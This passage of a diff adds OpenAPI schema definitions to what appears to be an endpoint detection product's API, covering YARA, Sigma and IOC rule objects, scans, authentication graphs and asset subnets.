+        minLength: 1
+        title: Tenant
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - cmdline
+      - create_time
+      - description
+      - file_name
+      - hit_type
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - linux_cmdline
+      - linux_file_name
+      - linux_source_name
+      - pid
+      - reference
+      - rule_name
+      - score
+      - source_name
+      - tenant
+      - username
+    type: object
+  YaraFile:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      hl_local_testing_status:
+        description: deprecated
+        title: Hl local testing status
+        type: string
+        x-nullable: true
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 1024
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        type: array
+      rule_classifications:
+        items:
+          minLength: 1
+          title: Rule classifications
+          type: string
+        readOnly: true
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_context:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule context
+          type: string
+        type: array
+      rule_count:
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_creation_date:
+        format: date
+        readOnly: true
+        title: Rule creation date
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
+      rule_modified_date:
+        format: date
+        readOnly: true
+        title: Rule modified date
+        type: string
+        x-nullable: true
+      rule_names:
+        items:
+          minLength: 1
+          title: Rule names
+          type: string
+        readOnly: true
+        type: array
+      rule_os:
+        items:
+          enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          title: Rule os
+          type: string
+        readOnly: true
+        type: array
+      rule_score:
+        readOnly: true
+        title: Rule score
+        type: integer
+        x-nullable: true
+      rule_tactic_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule tactic tags
+          type: string
+        readOnly: true
+        type: array
+      rule_technique_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule technique tags
+          type: string
+        readOnly: true
+        type: array
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      test_maturity_current_count:
+        readOnly: true
+        title: Test maturity current count
+        type: integer
+      test_maturity_delay:
+        readOnly: true
+        title: Test maturity delay
+        type: integer
+      test_maturity_threshold:
+        readOnly: true
+        title: Test maturity threshold
+        type: integer
+    required:
+      - content
+      - name
+      - source_id
+    type: object
+  YaraInfo:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - id
+      - name
+    type: object
+  YaraRule:
+    properties:
+      namespace:
+        minLength: 1
+        title: Namespace
+        type: string
+      rulename:
+        minLength: 1
+        title: Rulename
+        type: string
+      source:
+        minLength: 1
+        title: Source
+        type: string
+    required:
+      - namespace
+      - rulename
+      - source
+    type: object
+  YaraRulesetRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      block_on_agent:
+        readOnly: true
+        title: Block on agent
+        type: boolean
+      content:
+        minLength: 1
+        readOnly: true
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        readOnly: true
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Global state
+        type: string
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        readOnly: true
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 1024
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        readOnly: true
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        readOnly: true
+        type: array
+      rule_classifications:
+        items:
+          minLength: 1
+          title: Rule classifications
+          type: string
+        readOnly: true
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_context:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule context
+          type: string
+        readOnly: true
+        type: array
+      rule_count:
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_creation_date:
+        format: date
+        readOnly: true
+        title: Rule creation date
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level override
+        type: string
+        x-nullable: true
+      rule_modified_date:
+        format: date
+        readOnly: true
+        title: Rule modified date
+        type: string
+        x-nullable: true
+      rule_names:
+        items:
+          minLength: 1
+          title: Rule names
+          type: string
+        readOnly: true
+        type: array
+      rule_os:
+        items:
+          enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          title: Rule os
+          type: string
+        readOnly: true
+        type: array
+      rule_score:
+        readOnly: true
+        title: Rule score
+        type: integer
+        x-nullable: true
+      rule_tactic_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule tactic tags
+          type: string
+        readOnly: true
+        type: array
+      rule_technique_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule technique tags
+          type: string
+        readOnly: true
+        type: array
+      ruleset_rule:
+        $ref: '#/definitions/RulesetRuleSerializer'
+      ruleset_rule_default:
+        readOnly: true
+        title: Ruleset rule default
+        type: boolean
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        readOnly: true
+        title: State
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    type: object
+  YaraRulesetSource:
+    properties:
+      alert_rule_count:
+        default: 0
+        readOnly: true
+        title: Alert rule count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      block_rule_count:
+        default: 0
+        readOnly: true
+        title: Block rule count
+        type: integer
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      default_rule_count:
+        minimum: 0
+        readOnly: true
+        title: Default rule count
+        type: integer
+      description:
+        title: Description
+        type: string
+      disabled_rule_count:
+        default: 0
+        readOnly: true
+        title: Disabled rule count
+        type: integer
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      file_count:
+        default: 0
+        readOnly: true
+        title: File count
+        type: integer
+      file_experimental_count:
+        default: 0
+        readOnly: true
+        title: File experimental count
+        type: integer
+      file_stable_count:
+        default: 0
+        readOnly: true
+        title: File stable count
+        type: integer
+      file_testing_count:
+        default: 0
+        readOnly: true
+        title: File testing count
+        type: integer
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      new_rule_state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New rule state
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      quarantine_rule_count:
+        default: 0
+        readOnly: true
+        title: Quarantine rule count
+        type: integer
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+      ruleset_source:
+        $ref: '#/definitions/RulesetSourceSerializer'
+      ruleset_source_rule_default:
+        $ref: '#/definitions/RulesetSourceRuleDefaultSerializer'
+      state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - force_inherit
+          - quarantine
+        title: State
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  YaraScan:
+    properties:
+      auto_download_new_files:
+        default: false
+        title: Auto download new files
+        type: boolean
+      directoriesToScan:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      files:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      filesBySource:
+        items:
+          $ref: '#/definitions/FilesBySource'
+        readOnly: true
+        type: array
+      maxsize_files_download:
+        default: 104857600
+        minimum: 0
+        title: Maxsize files download
+        type: integer
+      scanFilesystem:
+        default: true
+        title: Scanfilesystem
+        type: boolean
+      scanProcesses:
+        default: false
+        title: Scanprocesses
+        type: boolean
+      sources:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      useDefaultPriority:
+        default: true
+        title: Usedefaultpriority
+        type: boolean
+    type: object
+  YaraSource:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      file_count:
+        default: 0
+        readOnly: true
+        title: File count
+        type: integer
+      file_experimental_count:
+        default: 0
+        readOnly: true
+        title: File experimental count
+        type: integer
+      file_stable_count:
+        default: 0
+        readOnly: true
+        title: File stable count
+        type: integer
+      file_testing_count:
+        default: 0
+        readOnly: true
+        title: File testing count
+        type: integer
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  _AddAgentResponse:
+    properties:
+      added:
+        title: Added
+        type: integer
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - added
+      - status
+    type: object
+  _AddTimelineRequest:
+    properties:
+      timeline_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - timeline_ids
+    type: object
+  _AddTimelineResponse:
+    properties:
+      added:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - added
+      - status
+    type: object
+  _AgentInfo:
+    properties:
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+    required:
+      - hostname
+      - id
+    type: object
+  _AggregateTag:
+    properties:
+      ids:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+      new_comment:
+        title: New comment
+        type: string
+      new_status:
+        minLength: 1
+        title: New status
+        type: string
+      tag_alerts:
+        title: Tag alerts
+        type: boolean
+    required:
+      - ids
+      - new_status
+    type: object
+  _AirgapStatus:
+    properties:
+      format:
+        readOnly: true
+        title: Format
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+        x-nullable: true
+      status:
+        enum:
+          - failure
+          - pending
+          - processing
+          - success
+        readOnly: true
+        title: Status
+        type: string
+        x-nullable: true
+      targets:
+        additionalProperties:
+          enum:
+            - failure
+            - pending
+            - processing
+            - success
+          type: string
+          x-nullable: true
+        title: Targets
+        type: object
+      version:
+        minLength: 1
+        readOnly: true
+        title: Version
+        type: string
+        x-nullable: true
+    required:
+      - targets
+    type: object
+  _AlerterRevision:
+    properties:
+      correlation_correlationrule:
+        default: 0
+        title: Correlation correlationrule
+        type: integer
+      ioc_driverblocklist:
+        default: 0
+        title: Ioc driverblocklist
+        type: integer
+      ioc_iocrule:
+        default: 0
+        title: Ioc iocrule
+        type: integer
+      sigma_sigmarule:
+        default: 0
+        title: Sigma sigmarule
+        type: integer
+      yara_yarafile:
+        default: 0
+        title: Yara yarafile
+        type: integer
+    type: object
+  _AssetSubnets:
+    properties:
+      agent:
+        $ref: '#/definitions/__DataAgentSerializer'
+      agent_status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+          - unknown
+        readOnly: true
+        title: Agent status
+        type: string
+      auto_scan:
+        title: Auto scan
+        type: boolean
+      description:
+        title: Description
+        type: string
+      gateway_ipaddress:
+        minLength: 1
+        title: Gateway ipaddress
+        type: string
+      gateway_macaddress:
+        minLength: 1
+        title: Gateway macaddress
+        type: string
+      gateway_oui:
+        minLength: 1
+        title: Gateway oui
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      last_scan_date:
+        format: date-time
+        title: Last scan date
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      netbios_groups:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      netbios_name:
+        minLength: 1
+        title: Netbios name
+        type: string
+      observation_count:
+        title: Observation count
+        type: integer
+      rmDNS_additional_records:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      rmDNS_names:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - id
+      - job_instance_id
+      - last_scan_date
+      - observation_count
+    type: object
+  _AssetUpdate:
+    properties:
+      acknowledged:
+        enum:
+          - seen
+          - to_check
+        title: Acknowledged
+        type: string
+      description:
+        title: Description
+        type: string
+      name:
+        title: Name
+        type: string
+    type: object
+  _Auth:
+    properties:
+      eventid:
+        minLength: 1
+        title: Eventid
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      package:
+        minLength: 1
+        title: Package
+        type: string
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      timestamp:
+        minLength: 1
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - eventid
+      - id
+      - log_type
+      - package
+      - process_name
+      - timestamp
+      - username
+    type: object
+  _AuthEdgeData:
+    properties:
+      authentications:
+        items:
+          $ref: '#/definitions/_Auth'
+        type: array
+      statistics:
+        $ref: '#/definitions/_AuthentStats'
+    required:
+      - authentications
+      - statistics
+    type: object
+  _AuthNodeData:
+    properties:
+      agent_id:
+        minLength: 1
+        title: Agent id
+        type: string
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      incoming_stats:
+        $ref: '#/definitions/_AuthentStats'
+      ip:
+        minLength: 1
+        title: Ip
+        type: string
+      outgoing_stats:
+        $ref: '#/definitions/_AuthentStats'
+    required:
+      - agent_id
+      - hostname
+      - incoming_stats
+      - ip
+      - outgoing_stats
+    type: object
+  _AuthentEdge:
+    properties:
+      data:
+        $ref: '#/definitions/_AuthEdgeData'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      source:
+        minLength: 1
+        title: Source
+        type: string
+      target:
+        minLength: 1
+        title: Target
+        type: string
+    required:
+      - data
+      - id
+      - source
+      - target
+    type: object
+  _AuthentGraph:
+    properties:
+      edges:
+        items:
+          $ref: '#/definitions/_AuthentEdge'
+        type: array
+      nodes:
+        items:
+          $ref: '#/definitions/_AuthentNode'
+        type: array
+    required:
+      - edges
+      - nodes
+    type: object
+  _AuthentNode:
+    properties:
+      data:
+        $ref: '#/definitions/_AuthNodeData'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - data
+      - id
+      - name
+    type: object
+  _AuthentStats:
+    properties:
+      logon_types:
+        additionalProperties:
+          type: integer
+        title: Logon types
+        type: object
+      package_names:
+        additionalProperties:
+          type: integer
+        title: Package names
+        type: object
+      success:
+        title: Success
+        type: integer
+      total:
+        title: Total
+        type: integer
+    required:
+      - logon_types
+      - package_names
+      - success
+      - total
+    type: object
+  _ChunkedUpload:
+    properties:
+      chunk:
+        title: Chunk
+        type: integer
+      chunk_total:
+        title: Chunk total
+        type: integer
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+        x-nullable: true
+    required:
+      - chunk
+      - chunk_total
+      - filename
+    type: object
+  _CircuitBreakerQuery:
+    properties:
+      blocking:
+        title: Blocking
+        type: boolean
+      blocking_description:
+        minLength: 1
+        title: Blocking description
+        type: string
+      blocking_reason:
+        minLength: 1
+        title: Blocking reason
+        type: string
+    type: object
+  _CircuitBreakerStatsQuery:
+    properties:
+      linux:
+        $ref: '#/definitions/_CircuitBreakerQuery'
+      macos:
+        $ref: '#/definitions/_CircuitBreakerQuery'
+      windows:
+        $ref: '#/definitions/_CircuitBreakerQuery'
+    type: object
+  _ClassifyDefaultAgents:
+    properties:
+      agents:
+        items:
+          $ref: '#/definitions/Agent'
+        type: array
+      dry_run:
+        title: Dry run
+        type: boolean
+      groups:
+        items:
+          $ref: '#/definitions/Group'
+        type: array
+      update_count:
+        title: Update count
+        type: integer
+      updates:
+        additionalProperties:
+          $ref: '#/definitions/_Updates'
+        title: Updates
+        type: object
+    required:
+      - dry_run
+      - update_count
+      - updates
+    type: object
+  _ConnectionsList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      results:
+        items:
+          $ref: '#/definitions/Connection'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _CorrelationSourceRulesetPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/CorrelationRulesetSource'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  _CreateIOCRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      category:
+        title: Category
+        type: string
+        x-nullable: true
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      hl_local_testing_status:
+        description: deprecated
+        title: Hl local testing status
+        type: string
+        x-nullable: true
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      info:
+        title: Info
+        type: string
+        x-nullable: true
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      overwrite:
+        default: false
+        title: Overwrite
+        type: boolean
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      test_maturity_current_count:
+        readOnly: true
+        title: Test maturity current count
+        type: integer
+      test_maturity_delay:
+        readOnly: true
+        title: Test maturity delay
+        type: integer
+      test_maturity_threshold:
+        readOnly: true
+        title: Test maturity threshold
+        type: integer
+      type:
+        enum:
+          - domain_name
+          - filename
+          - filepath
+          - hash
+          - ip_both
+          - ip_dst
+          - ip_src
+          - url
+        title: Type
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - source_id
+      - type
+      - value
+    type: object
+  _CreateSigmaRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      backend_detection:
+        default: false
+        readOnly: true
+        title: Backend detection
+        type: boolean
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      declared_in:
+        title: Declared in
+        type: string
+        x-nullable: true
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        default: true
+        readOnly: true
+        title: Endpoint detection
+        type: boolean
+      errors:
+        minLength: 1
+        readOnly: true
+        title: Errors
+        type: string
+        x-nullable: true
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      hl_local_testing_status:
+        description: deprecated
+        title: Hl local testing status
+        type: string
+        x-nullable: true
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      overwrite:
+        default: false
+        title: Overwrite
+        type: boolean
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_creation_date:
+        format: date
+        readOnly: true
+        title: Rule creation date
+        type: string
+        x-nullable: true
+      rule_description:
+        minLength: 1
+        readOnly: true
+        title: Rule description
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_id:
+        minLength: 1
+        readOnly: true
+        title: Rule id
+        type: string
+        x-nullable: true
+      rule_is_depended_on:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        readOnly: true
+        type: array
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
